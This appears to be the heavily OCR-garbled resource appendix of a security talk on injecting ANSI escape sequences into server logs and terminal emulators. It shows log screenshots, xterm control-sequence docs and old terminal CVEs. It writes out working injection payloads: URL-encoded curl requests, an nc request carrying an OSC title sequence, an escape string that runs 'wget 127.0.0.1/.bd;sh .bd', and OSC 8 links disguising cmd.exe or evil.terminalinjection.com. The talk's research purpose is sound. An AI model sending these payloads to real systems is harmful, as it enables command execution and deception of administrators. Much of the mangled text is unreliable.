


Weaponizing Plain Text: ANSI Escape Sequences as a Forensic Nightmare.

THIS IS THE STRIPPED DOWN RESOURCE APPENDIX OF THE FULL TALK
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stok@STOKs-MBP:~/Documents/logs ‘

172.17.6.1 - - [16/Jul/2023:08:40:38 +0000] "GET /tutorial/using-bind-mounts/updated-add-button.png HTTP/1.
0 21838

"http://127.0.0.1/tutorial/using-bind-mounts/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplcWebKit/537.3
HTML, like

Gecko) Chrome/114.0.5735.199 Safari/537.36" "
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Your Data is safe with us! 24H FAST RESTORE SERVICE !
Need some help you do the math?, Here's a calculator .

POC OF A CREATIVE RANSOMWARE AD INSIDE WGFIL -
sh|t

» logs cat everything.logBSrm;open 2a calculator;
cat: everything.logd: No such file or directory .
+ logs P3$q m|:| oy
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© @ © Doackr Deexsop  Update 5 atest Q, Search for local and remute mages, contarens, and mone. @

affectionate_chandrasekhar

510k ESTOKs-MacBook-Pro:~/Documents

@ Containers 2t "o - |
" dackanasa Aasctad STATUS ‘
welccme S . P S _ Na, . -
< Z052AN e Sunnig (0 swcodde sgs) | n | o L Last Llogin: Tue Jul 11 ©€9:13:03 ¢cn ttysole
Imsgus "
:1: »J Welcome X @ Imsge Sl 12 -+ Documents l
% Yalures ‘ - .
ma Volures Logs Inspect Terminal Files Stats Suen sl s emusl 43
Start Recommended Extension P ——— : —
iy NS mns i 15 - r_
total B4 O\ D i
PRCBLEMS CUTPUT CEBUG CONSOLE TERMINAL ] zsh + ® Leaming Cente drnsr-sr-x 1 reot rect 4096 Jul 18 0e:14 .
_— draxr-xr-x 1 rcot roct WEe w18 o810
IRXC XMx 1 reet roct 8 Jul T eT:3T .dockarany
. . Arnsr-ar-x I reot root aF95 Moy 22 2822 b
+ logs ] Extensions = drnxr-xr-x 5 reot root 390 1 11 14:56 dew
Arnsr xr-x 1 rcet roct G595 Doc 14 2822 docker -antrypoint.d
B Rezource Lsage -rwkraEr-x 1 root raot 1616 Dec 14 2822 docker-entrypoln
drnsr-xr-x 1 rect root s Ml T eTIIT ek
= - drnxr xrex Z reet rooct 05 Mow 22 2822 hoew
@ AddExtanzions drwkroxrx 1 ot root 4796 Dec 14 7922 1
O 1 reot root o 11w cE: 19 logbubndle,lcg
draxr xrox S reoet wod'a

Jrnxr
drwxr-
droxr
drax
drwxr-
draxr
drnxr x
drexr-

drnx
draxr

drwx

root 2 ML 11 14056 svs
root QUL Dec 16 2822 v
roct QI95 Wow 22 2822 usr
root AL WMoy 22 022 we

N N ~/Documents/terminal
»  terminal

Mg 4257 LN sesad. o6 SHIXGH B N conrszsed 1z i G mmin

B stok — stok@STOKs-MacBook-Pro — ~ — -zsh — 80x24

VSCODE

KITTY

T C\Windows\System32\cmd.e X + | v

2 Windows PowerShell  i/+Shifl+1
C:\Windows\System32> Je
- Command Prompt Ctri+Shift+2

& Acwure Cloud Shell Ctrl+Shift4 3 I E R M I NAL AI I
i3 Scttings Ctrl+, :

{7 Command Palette Clel+Stpr-»

parallels@ubuntu-linux-22-04-desktop: ~ - 0O X

paral lelsBubuntu-1inux 04-desktop:”$ |}

?  Aboul

WINDOWS
TERMINAL

GNOME VTE

XTERM



CLOUD CLI

® https://console.aws.amazon.com

Droplet Console B B

N / Amazen Linux 2 AMI

Jse the Droplet Console for native-like terminal access 1o your Dronlet fram your hrowser. Here is the list of I\ | I

supported OSas “cr the new console

b nq in as Launch Droplet Console

1TTpS: //aws.amazon. com/amazon- Linux-2/
10 package(s) needed for security, out of 15 available
un "sudo yum update" to spply a.l updates.
[ec2-user@ip-10-1-0-15 ~]% h

Recovery Console

Usc the Recovery Canscle if yocu nced e use the recovery 1ISO Cr you can't connect to your Drogle: with the Croplct

C onsole. To use the recove Yy oonsc e, vo_ must ena e [Fasswaord o uthentication. If necesse

root passward below.

Launch Recovery Consocle

1-0989ec32926132419 (connect-blog)

Pubic IP3: 34 204.200.76 Frivate |Pe: 10.1.0.16

https://github.com/chjj/term.js
https://github.com/xtermjs/xterm.js

i-09£Q0c32826132419 (conrect-hlog) | FC2 Inctance Cornact

ast login: Fri May 10 19:13:43 2019 from 72-21-196-66.amazon

com




- :/finvisible-island.net/xt _ _ B w

CSI > Ps c
Send Device Attributes (Secondary DA).

Ps = @ or omitted » request the terminal's identification
code. The response depends on the decTerminallD resource
setting. It should apply only to VT220 and up, but xterm
extends this to VT108.

= CSI > Pp ; Pv , Pcc
where Pp denotes the terminal type

@ = "VT100".

= "VT220".

= "VYT240" or "VT241".
"VT330" .
"VT340" .
"VT320" .
"VYT382".
"VT420" .
"VT510" .
"VYT520" .
T525" .

1

2
=1
=1
=2
=3
= 4
= 6
= 6
= 6

PP, P NPOO

6 4 4 4 4 s 44

and Pv is the firmware version (for xterm, this was originally
the XFree86 patch number, starting with 95). In a DEC
terminal, Pc indicates the ROM cartridge registration number
and is always zero.

Line Position Absolute [row] (default [1,column]) (VPA).

Ps e Line Position Relative [rows] (default = [row+l,column])
(VPR).

Ps ; Ps £
Horizontal and Vertical Position [row;column] (default =
[1.1]) (HVP).

Ps g Tab Clear (TBC). ECMA-48 defines additional codes, but the
VT100 user manual notes that it ignores other codes. DEC's
Later terminals (and xterm) do the same, for compatibility.
Ps = 8@ = C(Clear Current Column (default).
Ps = 3 = C(Clear All.

Set Mode (SM).

-
= = RevDoarcad A O MOCE AN







CS.

B https://invisible-island.net/xterm/ctlseqs/ctiseqs.htm B 7

CSI Ps ; Ps £
Horizontal and Vertical Position [row;column] (default =
[1,17) (HVP).

Tab Clear (TBC). ECMA-48 defines additional codes, but the
VT100 user manual notes that it ignores other codes. DEC's
Later terminals (and xterm) do the same, for compatibility.
Ps = B = Clear Current Column (default).
Ps 3 = C(Clear AlL.

CSI Pm h Set Mode (SM).
Ps = 2 = Keyboard Action Mode (KAM).
Ps 4 = Insert Mode (IRM).
Ps =12 = Send/receive (SRM).
Ps = 28 = Automatic Newline (LNM).

CSI ? Pm h

DEC Private Mode Set (DECSET>»

Character Attribute
-> Set foreground color

TO

Green.

https://invisible-island.net/xterm/ctlseqs/ctlseqs.html



CSI Pm m Character Attribute
Ps = 3 2 —-> Set foreground color to Green.

F

Print:

'"Hello \033[32mTHI

S

15 GR

=

EN\033[0m\007"




Col
Ps =

Pm m Character Attribute

3 2 —-> Set foreground color to Green.

F

Printf '"Hello \033[32mTHIS IS GR
Hello THIS IS GREEN

=

EN\033[0m\007"




CSI Pm m Charac
—-> Set

Ps = 3 2
Printf
Hello THI

S

Cer A
foreground color to Green.

ello \033[32mTHIS
S 1S5 GREI

A\
MUA

“ribu

US

15 GR

=

EN\033[0m\007"




Printf
Printf

Prin:

Prin-

C i

C it

Printf

r

'"Hel._

"Hel.
"Hel.
"Hel.
"Hel.

O O O O O

\033[32mTHIS IS GRE
\x1b[32mTHIS IS GRE
\u001b[32mTHIS IS GRE

ENNO33[0m\007 "

ENAx1b [Om\x07"

\27[32mTHIS IS GRE

ENA27 [Om\7"' - D

- OCTAL

- HREX

EN\u001b [Om\u0007"

\e[32mTHIS IS GREEN\e[Om\a'

L CIMAL

- ASCII

— UNICODE




BASH = OCTAL

PYTHON = HEX

JAVA / JS = UNICODE
POWERSHELL= DECIMAL



CSI Pm m Charac
—-> Set

Ps = 3 2
Printf
Hello THI

S

Cer A
foreground color to Green.

ello \033[32mTHIS
S 1S5 GREI

A\
MUA

“ribu

US

15 GR

=

EN\033[0m\007"




CC

NCE

CSI Pm m Character Attribute
Ps = 3 2 —-> Set foreground color to Green.

F

Printf 'Hello \033[32mTHIS IS GREEN\O33[0m\007"
Hello THIS IS GREEN




CSI Pm m Charac

Ps = 3 2
Printf
Hello THI

—-> Set

S

IS5 GR

Cer A
foreground color to Green.

ello \033[32mTHIS

=

BN

cribu

US

15 GR

=

EN\033[0m\007"




CSI Pm m Charac

Ps = 3 2
Printf
Hello THI

—-> Set

S

IS5 GR

cer A
foreground color to Green.

ello \O033[32mTHIS

=

BN

(S

“ribu

L E

15 GR

=

EN\033[0m\007"



CSI Pm m Charac

Ps = 3 2
Printf
Hello THI

—-> Set

S

IS5 GR

Cer A
foreground color to Green.

ello \033[32mTHIS

=

BN

“ribu

US

15 GR

=

EN\033[0m\007"



CC

NCE

CSI Pm m Character Attribute
Ps = 3 2 —-> Set foreground color to Green.

F

Printf 'Hello \033[32mTHIS IS GREEN\O33[0m\007"
Hello THIS IS GREEN




CSI Pm m Charac

Ps = 3 2
Printf
Hello THI

—-> Set

S

IS5 GR

Cer A
foreground color to Green.

ello \033[32mTHIS

=

BN

cribu

US

15 GR

=

EN\033[0m\007"



CSI Pm m Character Attribute
Ps = 3 2 -> Set foreground color to Green.

Printf 'Hello \033[32mTHIS IS GREEN'O>2=2 0m\007"

Hello THIS IS GREEN
THIS IS ALSO
H LIS SMA“

s




STRII ATOR (ST)

CSI Pm m Character Attribute
Ps = 3 2 —-> Set foreground color to Green.

F

Printf 'Hello \033[32mTHIS IS GREEN\O33[0m\007"
Hello THIS IS GREEN




printf "\033[31mESC-INJECTION:\033[32mSUCCESSFUL\O033[0m\033"' > badlog.log




~ [ [31m

L oC—1

NJ.

L]

vim badlog.log

ON:” [ [32mSUCC!

LSSEFULMY [ [0Om” |




~ [ [31m

L oC—1

NJ.

L]

vim badlog.log

ON:” [ [32mSUCC!

LSSEFULMY [ [0Om” |




nano badlog.log

Uw PICO 5.09 File: badlog. log

[ |3LmESC-INJECTION:A[[32mSUCCESSFULA[[OmA [

e Get Help WriteOut Read F'ile Prev Pg WMy Cut Text Cur Pos
AJ AT

4 Exit Justify @Y Where 1s @Y Next Pg @Y UnCut Tex To Spell




«~ > C 8 view-source:https://terminalinjection.com/

<html>

<head>
<title>*/[31mESC-INJECTION: */[32mSUCCESSFUL #/[@m #|*]]11337;RequestAttention=fireworks#/</title>

</head>
<body>

<h1>This site \ontains non malicious ANSI Escape sequences</hl>

</body>
</html>

1
P
3
4
5
6
7
8
9
)
1

—




> cat *.1log

ESC-1

>

NJ.

L CT

ON: SUCC

oS UL




> grep INJEC -r ./

.//badlog.log:E
>

NJ

CCTL

ON:S5SUCC

ESSEFUL




> tail bad.

ESC—_

>

 NJ.

Nele i Nele)

L CT

ON: SUCC

oS UL




> awk '"{print $1}' badlog.log
ESC-INJECTION:SUCCESSEUL
>




o00® stok@STOKs-MacBook-Pro:~/Documents/terminal

» terminal curl https://terminalinjection.coml




2900 stok@STOKs-MacBook-Pro:~/Documents/terminal

»+ terminal curl https://terminalinjection.com
<html>

<head>

<title>ESC-INJECTION:SUCCESSFUL</title>
</head>

<body>

<hl>This site contains non malicious ANSI Escape sequences</hl>

</body>
</html>

> terminal I




N K | nslookup

-+ terminal nslookup

> set g=TXT

> evil.terminalinjection.com
Selrvele 198.18.11.221
Address: 198.18.11.221+#53

Non-authoritative answer:

evil.terminalinjection.com text "A\UOOL1b[31mESC-INJECTION-UNICODE : :\\u@Qlb[32mSUCCESSFUL\\uBd1lbh[Om\\ueBD7"
evil.terminalinjection.com text "\O27[32mESC-INJECTION-RAW:\027[31mSUCCESSFUL\ D27 [Gm\ 067"

Authoritative answers can be found from:

> |




2 Windows PowerShell X 1 | v

PS C:\Users\stok> nslookup
Default Server: prl-local-ns-server.shared
Address: 10.211.55.1

> set g=TXT
> evil.terminalinjection.com
Server: prl-local-ns-server.shared

Address: 10.211.55.1

Non—authoritative answer:
evil.terminalinjection.com

"ESC-INJECTION-RAW:
evil.terminalinjection.com text

"\u@@1b[31mESC-INJECTION-UNICODE :\u@®1lb[32mSUCCESSFUL\u@O1lb[Om\ueee7"

> |




IS THIS EVEN A
SECURITY ISSUE?




WHERE?
WHO ?
HOW ?

WOULD THIS BE AN
ISSUE?




CONSEQUENCES



WHERE?

LOC

Affected versions of this package are vulnerable to Arbitrary Code Injection. There is a possible shell-escape sequence
injection vulnerability in Rack's Eint and CommonLogger components: Carefully crafted requests can cause shell escape
sequences to be written to the terminal via Rack's Lint middleware and CommonLogger middleware. Fnéseescape

sequences can be leveraged to possibly execute commands in the victim's terminal.

HellO 4 111 4 LNl alLN




DEVOPS
SYSADMINS
IR / FORENSIC




INTERACT WITH
LOGFILES

USING A TERMINAL




HOW?

Log injection vulnerabilities occur when:

1. Data enters an application from an untrusted source.
2. The data is written to an application or system log file.

https://owasp.org/www-community/attacks/Log_Injection



HOW?

Successful log injection attacks can cause:

1. Injection of new/bogus log events (log forging via log injection)

2. Injection of hoping that the malicious log event isviewed in a Terminal Emulator
3. Injection of commands that a terminal emulator could execute

https://owasp.org/www-community/attacks/Log_Injection



© DockerDesktop  Update to latest Q Search for local and remote images, containers, and more... #K g & sionin @

affectionate_chandrasekhar

@ Containers < m docker/getting-started STATUS >
2e0348d7fedd4 I Running (0 seconds ago)

@ [mages 80:80 &

@ Volumes Logs Inspect Terminal Files Stats

@ Dev Environments BETA 172.17.0.1 - - [16/Jul/2623:08:30:56 +0900] "GET /assets/stylesheets/application.adb8469c.css HTTP/1.1" 200 76332 "http://127.0.0.1/" "Mozilla/5.0 (Windows N’ Q rlj @ . p

leWebKit/537.356 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" "-"

a Learning Center 172.17.0.1 - - [16/Jul/2623:08:30:56 +0900] "GET /assets/stylesheets/application-palette.a8b3c06d.css HTTP/1.1" 200 38773 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 10.0; Winé4;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.3¢6¢" "-"
172.17.0.1 - - [16/Jul/2€23:08:30:56 +0900] "GET /tutorial/ HTTP/1.1" 200 14807 "http://127.0.0.1/" "Moz2illa/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko

) Chrome/114.0.5735.199 Safari/537.36" "-"

Extensi H
xensions * 172.17.0.1 - - [16/Jul/2623:08:30:56 +0000] "GET /assets/fonts/font-awesome.css HTTP/1.1" 200 30721 "http://127.0.0.1/" "Mozilla/5.0 (Windows NT 16.0; Win64; x64) AppleWebKit/537.3
6 (KHTML, like Gecko) Chrome[114.0.5735.199 Safari/537.36" "-"
H Resource usage 172.17.0.1 - - [16/Jul/2623:08:30:56 +0000] "GET /images/docker-labs-logo.svg HTTP/1.1" 200 6469 "http://127.0.0.1/tutorial/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit

/537.36 (KHTML, like Gecko) Chrome/114.9.5735.199 Safari/537.36" "-"

172.17.0.1 - - [16/Jul/2€23:08:30:56 +0900] "GET /tutorial/tutorial-in-dashboard.png HTTP/1.1" 200 1298€0 "http://127.9.0.1/tutorial/" "Mozilla/5.€ (Windows NT 10.0; Win64; x64) Ap
pleNebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" "-"

172.17.0.1 - - [16/Jul/2623:08:30:56 +0000] "GET /assets/javascripts/application.c33a9706.js HTTP/1.1" 200 79589 "http://127.0.0.1/tutorial/" "Mozilla/5.0 (Windows NT 10.0; Winé4;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.3¢" "."

172.17.0.1 - - [16/Jul/2623:08:30:56 +0000] "GET /assets/fonts/specimen/MaterizlIcons-Reqular.woff2 HTTF/1.1" 200 44309 "http://127.0.0.1/assets/fonts/material-icons.css” "Mozilla/
5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" "-"

172.17.0.1 [16/Jul/2623:08:30:56 10900] "GET Jassets/fonts/specimen/FontAwesome.woff2 HTTP/1.1" 200 77160 "http://127.0.0.1/assets/fonts/font-awesome.css" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.35 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" "-"

172.17.0.1 - - [16/Jul/2623:08:30:56 +0900] "GET /fonts/hinted-Geomanist-Book.ttf HTTP/1.1" 200 73568 "http://127.0.0.1/css/styles.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) A
ppleWebKit/537.36 (KHTML, like Gecko) Chrore/114.0.5735.199 Safari/537.36" ".-" J

() Add Extensions

RAM 5.53 GB CPU 1.80% Disk 47.27 GB avail. of 58.37 GB \ Not connected to Hub ® va.190 Q°

® ®@® | Gotting Started - Getting Start X 4 e

< > X (O 127.0.0.1/tutorial/

Gott.lng St.arted Gettl ng St a rted Table of contents

The command you just ran

The Docker Dashboard

The command you just ran What s a container?
Sharing our App What is a container image?
Persisling our DB Congratulations! You have starled the container for this tutorial! Let's first explain the command
Using 3ind Mounts that you just ran. In case you forgot, here's the command:

Multi-Container Apps
Using Docker Compose

https://www.do




docker attach <contalnerid>
docker logs ——-follow <contalnerid>

Failed (2:

localhost,

2023/07/13 10:50:56

No such file or directory), client: 172.17.0.1, server:

request:

tutorial/blah

"GET /tutorial/blah HTTP/1.1", host: "127.0.0.1"
[error] 21#21: *28 open() "/usr/share/nginx/html/




printf '"\033[31ImESC-INJECTION:\033[32mSUCCESSFUL\033[0m\033"




URL ENCODE

printf '"\033[31ImESC-INJECTION:\033[32mSUCCESSFUL\033[0m\033"

\n <\\"k

/$50a%$1B%$5B31m S1B%5B32mSUCCESSFUL%1IB%5BROM%07%0a

® o Q & Ty




" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "GET Jtutorial/using-bind-mounts/%0a%1B%5B31mESC-INJECTION-LFURLENCODED :%1B%5SB32m5Sl
%1B%SBOM¥%O7%0a HTTP/1.1", host: "127.0.0.1"

172.17.0.1 - - [10/Jul/2023:08:45:19 +0000] "GET /favicon.ico HTTP/1.1" 404 555 "http://127.0.0.1/tutorial/using-bind-mounts/%0a%1B%5B31mESC-INJECTION-LFURLENCODED:%1B%5B3:
FUL%1B%5BOm%07%0a" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36" "-"

2023/07/10 08:45:19 [error] 24#24: *75 apen() "fusr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 172.17.0.1, server: localhost, request: "GI
on.ico HTTP/1.1", host: "127.0.0.1", referrer: "http://127.0.0.1/tutorial/using-bind-mounts /%Ba%1B%5B31mESC-INJECTION-LFURLENCODED :%1B%5B32mSUCCESSFUL%1B%5BOm¥%07%0a"

_ RAM 553 GB CPUO0.20% Disk 47.27 GB avail. of 58.37 GB W Not connected to Hub

M
r"'
00

stok@STOKs-MacBook-Pro:~/Documents
» Documents curl http://localhost/supﬁ@a%lB%SB31mESC—INJECTION—LFURLENCODED:%1B%SB32mSUCCESSFUL%1B%SBGm°QT%Oa




HOW?

&

ViIl. LLULU T11hirfjiL.4 , 1IVOL., dlf sVeVUVed 4, 1TICTHIC & HHLULPY [ [J AT V.V Lf LULUL Lal/Uo LIy~ uLiu=rivuliLo f /oVvanld

172.17.0.1 - - [10/Jul/2023:09:09:06 +0000] "GET /sup%0a%1B%5B31mESC-INJECTION-LFURLENCODED :%1B%5
2023/07/10 09:09:06 [error] 24#24: *76 open() "/usr/share/nginx/html/sup

" failed (2: No such file or directory),
, host: "localhost”

7.0.1, server: localhost, request: "GET /su

RAM 5.53 GB CPU0.20% Disk 47.27 GB avail. of 58.37 GB \\ Not connected to Hub

Successful log injection attacks can cause:

1. Injection of new/bogus log events (log forging via log injection)

2. Injection of R ] hoping that the malicious log event isviewed in a Terminal Emulator
3. Injection of commands that a terminal emulator could execute

<pbody-

<center><hl>404 Not Found</hl></center>
<hr><center>nginx/1.23.3</center>

</body>
</html>

2 Documents I

ENOUGH FOR A POC



[ Test Emulator Versions |

xterm: xf86 4.2.0 (patch 165)
aterm: 0.42

rxvt:

Eterm:

konsole:

putty:
SecureCRT:
gnome-terminal:
hanterm—-xf:

W= - []

N O ® = D
ﬂ
(@)
N

(libzvt 2.0.1) [2.2 indirectly]

NNWSWeEeN

S, ON

[ Vulnerability Index ]

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned CVE
candidate namess for all issues described in this paper.

CAN-2003-0020 Apache Error Log Escape Sequence Injection

CAN-2003-0021 Screen Dump: Eterm
CAN-20083-0022 Screen Dump: rxvt

CAN-2003-0063 Window Title Reporting: xterm
CAN-20083-0064 Window Title Reporting: dtterm
CAN-2003-0065 Window Title Reporting: uxterm
CAN-2003-0066 Window Title Reporting: rxvt
CAN-20083-0067 Window Title Reporting: aterm
CAN-2003-0068 Window Title Reporting: eterm
CAN-2003-0069 Window Title Reporting: putty
CAN-20083-0070 Window Title Reporting: gnome-terminal
CAN-2003-0078 Window Title Reporting: hanterm-xf

CAN-20083-0071 DEC UDK Processing DoS: xterm
CAN-2003-0079 DEC UDK Processing DoS: hanterm—xf

CAN-2083-0023 Menubar Manipulation: rxvt
CAN-2003-0024 Menubar Manipulation: aterm

https



[ | X + -~

PS C:\Users\stok> write—host "$([char]@x1b)]2;owned?$([char]ex07)"

PS C:\Users\stok>

OSC Ps ; Pt ST
Ps = 2 = Change Window Title to Pt.




2 owned? X + v

PS C:\Users\stok> aLe—host "$([char]@x1b)]2;owned?$([char]oxe7)"

PS C:\Users\stok>




2 owned?

PS C:\Users\stok> write—-host "$([char]@xlb) $([cha

PS C:\Users\stok>

2003 - H D MOOR

Sun CDE

X 1= | ™~

t
t
t
t
t
t
t
t
t
t
t
t
t
T
T

https://marc.info/?|1=bugtraq&m=104612710031920&q=p3

Description

de-iconify
iconify
move window to pixel-position
resize window in pixels
raise window to front of stack
raise window to back of stack
refresh window
resize window in chars
maximize/unmaximize window
to/from full-screen
report if window is iconified
report window position
report window size in pixels
report screen size in pixels
report character cell 1in pixels
report window size in chars
report screen size in chars
report icon label
report window title
save window/icon title
restore window/icon title
resize window (DECSLPP)
set window and icon title
set icon label
set window title
set X server property

icon to file

window title

icon label




Code Sun CDE XTerm Description

----------- s s e R et
CSI 1 t yes | yes yes de-iconify
CSI 2 t yes ves yes iconify
P owned? X | ™ CSI 3 t yes | vyes yes move window to pixel-position
CSI 4 ¢ yes yes Ves resize window in pixels
PS C:\Users\stok> M™mgte—host "$([char]@xlb)]2;owned?$([chaishs i e yes | vyes yes raise window to front of stack
CSI 6 t yes | yes yes raise window to back of stack
. CSI 7 t Vyes yes yes refresh window
PS C:\Users\stok> CSI 8 t yes | yes yes resize window in chars
CSI 9 t - - yes maximize/unmaximize window
CeI 1 6 t - - ves to/from full-screen
CSI 1 1 <t yes yes Ves report if window is iconified
CSI 1 2 t - - - -
CSI 1 3 t yes | yes yes report window position
CSI 1 4 t yes | yes Ves report window size in pixels
CSI 1 5 t - - yes report screen size in pixels
CSI 1 6 t - - yes report character cell in pixels
CSI 1 7 t - - - -
CSI 1 8 t yes | yes ves report window size in chars
CSI 1 9 t - - yes report screen size in chars
CSI 2 @ t - yes Ves report icon label
CSI 21t | - | yes | vyes | report window title
CSI 2 2 t - - yes save window/icon title
CSI 2 3 t - - yes restore window/icon title
CST Ps ¢ CSI 2 4 t - - Ves resize window (DECSLPP)
. . 0SC © ST - ves yes set window and icon title
Ps = 21 = Report Windows Title 0SC 1 ST - | yes | vyes | set icon label
0SC 2 ST - yes Ves set window title
0SC 3 ST - n/a yes set X server property
O0SC I ST yes yes ves set icon to file
0SC L ST yes yes Ves set window title
OSC L ST yes | vyes ves set icon label




2 owned? X + v

PS C:\Users\stQg>, write—host "$([char]@x1b)]2;owned?$([char]exe7)"

' PS C:\Users\stok>

\033]12;;wget 127.0.0.1/.bd;sh .bd;exit;\007\033[21t\033]2;xterm\007Press Enter>\033[8m;

CSI Ps t
Ps = 21 = Report Windows Title




2 owned?

PS C:\Users\stg>, write—ho ned?$([char]s

PS C:\Users\stok>

\033]2;;wget 127.0.0.1/.bd;sh .k 3]12;xterm\007Press Enter>\033[8m;




GIOVANNI "
ALESSANE
FRANCES

echo -en "GET /\x1b]2;\x07\x0a\x0d\x0a\x0d" > pavyload
nc localhost 80 < payload

NGINX, VARNISH, CHERC
AND BOA LOG ESCAP

https://



GIOVANNI "EVILA " PELLERANO

ALESSANDRO "’ \ASI
FRANCESCO "A "RO
®

echo —-en "GET /\x1b]2;\xu

nc localhost 80 < payload FIXED'

~0d" > payload

NGINX, VARNISH, CH” MINI-HTTPD, WE "ERVER,YAWS
AND BOA LOG ESCAP. JECTION - 2010

https://w sh.it/team/ush/ hack_httpd_escap ~txt
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AN X
CY B E R A R K Why CyberArk Products w Solutions v Services & Support v Try & Buy

The Identity Security Company

printf{("\x1b\x5d\x308\x3b%s\x87", userTitle);

\xTb\x5d\x30\x3b — The start of atitle ESC ] B

\x87 — The end of a title.

If the attacker has control of the userTitle and can call it multiple times, it can cause DoS.

Here is a summary of our findings in the Windows terminals:

App Category OS5 DoS

Customized Local Windows  Yes
C++ app App SetWindowText — affects the

whole computer

GdipDrawString — affects only
the application

Terminal Yes - the whole computer
CVE-2021-33500

Fixed version: 0.75

https://www.cyberark.com/resources/threat-research-blog/dont-trust-this-title-abusing-
terminal-emulators-with-ansi-escape-characters



202 - Eviatar G’ u

Products w Solutions w Services & Suppor

B\x3b%s\x87", user

ple times, it can cause DoS.

Here i1s a su

App

customy
C++ 3

https://www.cyberark.c. resources/threat-research-blog/dor. _ost-this-title-abusing-
terminal-emulators-with-ansi-escape-characters



PowerShell

m Bell

Session -tcsh #2 just rang a bell!

ESC]19; 7; "cmad®” ST

ANZ1p dummy .Z1p
Archive: dummy .Z1p

[dummy .zip] R g

extracting: dummy — :
e Using iTerm2 v3's password manager. Cool

» - »
4 -
e be 0 % 0 GCun ode









An error has occured. Visit https://learn.microsoft.com/KB123YOLO
To learn more




printf '"\033]8;;http://example.com\033\\This is a 1ink\033]8;;\033\\"

This 1s a link




write-output "An error has occured. Visit $([char]Oxlb) 18;;file://c:
\Windows\System32\cmd.exeS ([char]0x1lb) \https://learn.microsoft.com/
KB123YOLOS ([char]0x1b)18;;S$S([char]0x1b)\ To learn more"

An error has occured. Visit https://learn.microsoft.com/KB123YOLO To
learn more




2 windows PowerShell X + v — O X

-/ Command Prompt X
PS C:\Users\stok> write-output "An error has occured. Visit $([char]0x1b)]8;:file://c:\Windows\System32\cmd.exe$([char]Ox1b)

\https://learn.microsoft.com/KB123YOLO$([char]exlib)18; ;$([char]oxlb)\ To learn more"

An ¢ -
PS ( ™ C\Windows\System32\cmd.e X + v h

— O X

Microsoft Windows [Version 10.0.22621.1702]
(c) Microsoft Corporation. ALl rights reserved.

C:\Windows\System32>

Activate Windows

Go to Settings to activate Windo



printf "\033]8;;http://example.com\033\\This is a 1ink\033]8;;\033\\"

This 1s a link




printf '\033]8;;http:

> logs 1ls -la

//evil.terminalinjection.com\007"

total 912

drwxr—-xr—-x(@ 3 stok staff 90 Jul 10 12:40

drwx—————-— @ 169 stok staff 5408 Jul 10 12:40 ..

- rw-r——r——( 1 stok staff 405305 Jul 10 13:32 everything.log




o Welcome 1] & 1] 08

Welcome X

Start Recommended Extension
TERMINAL D] zsh +~ [I]
Printf '\833]8;;http://evil.terminalinjection.com\@07"
s
everything. log
_1ls -la
total 912
drwxr-xr-x@ 3 stok staff 96 Jul 10 '
drwx—————~@ 169 stok staff 5408 Jul 10

—rw—r—-r—@ __1 stok _staff 485305 Jul 1@
1

Do you want Code to open the
external website?

http:/fevil.terminalinjection.com

Configure Trusted Domains

SOME TERMINALS GENERATE WARNINGS, OTHERS DONT.

X ®O0A0 & [




curl 127.0.0.1/hello%1b%5d8%3b%3bhttp%$3a%2f%2fevil.terminalinjection.com%07




7™ —

] r | = ) Canvalls Eap |lanx - an ol = pnm o d ma m s am Asaabaimara amal masapa | Qe | | A >
@ @ Docker Desktop Update to latest (X Search for local and remote images, containers, and more... EK = @ Sign it @J

affectionate_chandrasekhar

E-iﬁ Containers STAT
——— e =L ) ) f\l“f‘; K . =—
N ¥, [
2e0348d 14
BETA

&
Do you want to navigate to http:/
evil.terminalinjection.com?

e
aaa

Ar WARNING: This link couldf
potentially be dangerous

Cancel OK

& 404 Not Found x + v

« > C () 127.0.0.1/tutorialjupdating-our-app/%1b%5d8%3b%3bhttp% 3a%2f%2fevil.terminalinjection.com%07

404 Not Found

nginx/1.23.3



Volumes Logs Inspect [erminal Files Stats

Dev Environments 'BETA sh-4.45 https://evil.terminalinjection.com https://fevil.terminalinjection.com https://evil.terminalinjection.com https://evil.terminalinjection.com https://evil.te O\ r R C
om https://evil.terminalinjection.com https://evil.terminalinjection.com https://evil.terminalinjection.com https://evil.terminalinjection.com https://evil.termin: D ] it

31 Learning Center tps:/fevil.terminalinjection.com https://evil.terminalinjection.com https://evil.terminalinject},ﬁﬁza@m https:/fevil.terminalinjection.com https://evil.terminalinjection.com https:/
fevil.terminalinjection.com https://evil.terminalinjection.com https://evil.terminaltnjection.qu [gt{ps://evil.terminalinjection.com https://evil.terminalinjection.comu

-~

_ &
Extensions

“# Resource usage

@ Add Extensi +Y 11337;RequestAttention=fireworks[ X 11337:RequestAttention=fireworks = X 11337;RequestAttention=fireworks| X +
I(

C O 8 https://evil.terminalinjection.com

this is fine, trust me.
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Terminal

Image support

Images in the terminal, which were previewed last release, are now enabled by default. Images in a
terminal typically work by encoding the image pixel data as text, which is written to the terminal via a
special escape sequence. The current protocols supported are sixel and the inline images protocol
pioneered by iTerm.

To test images manually, you can download and cat a .six example file from the libsixel repository:

10 TERMINAL

~/Downloads
y cat snake.six

. -y

¥ o
& ‘,‘

W
o .

& Q&
e ¥

https://code.visualstudio.com/updates/v1_80

0 % O €l Z

+ Downloac

IN THIS UPDATE
Accessibility
Workbench

Editor

{ Terminal

Testing

Source Control
Notebooks
Languages

Remote Development
Contributions to extensions
Preview Features
Extension authoring
Proposed APIs
Engineering
Dacumentation
Notable fixes

Thank you

Subscribe

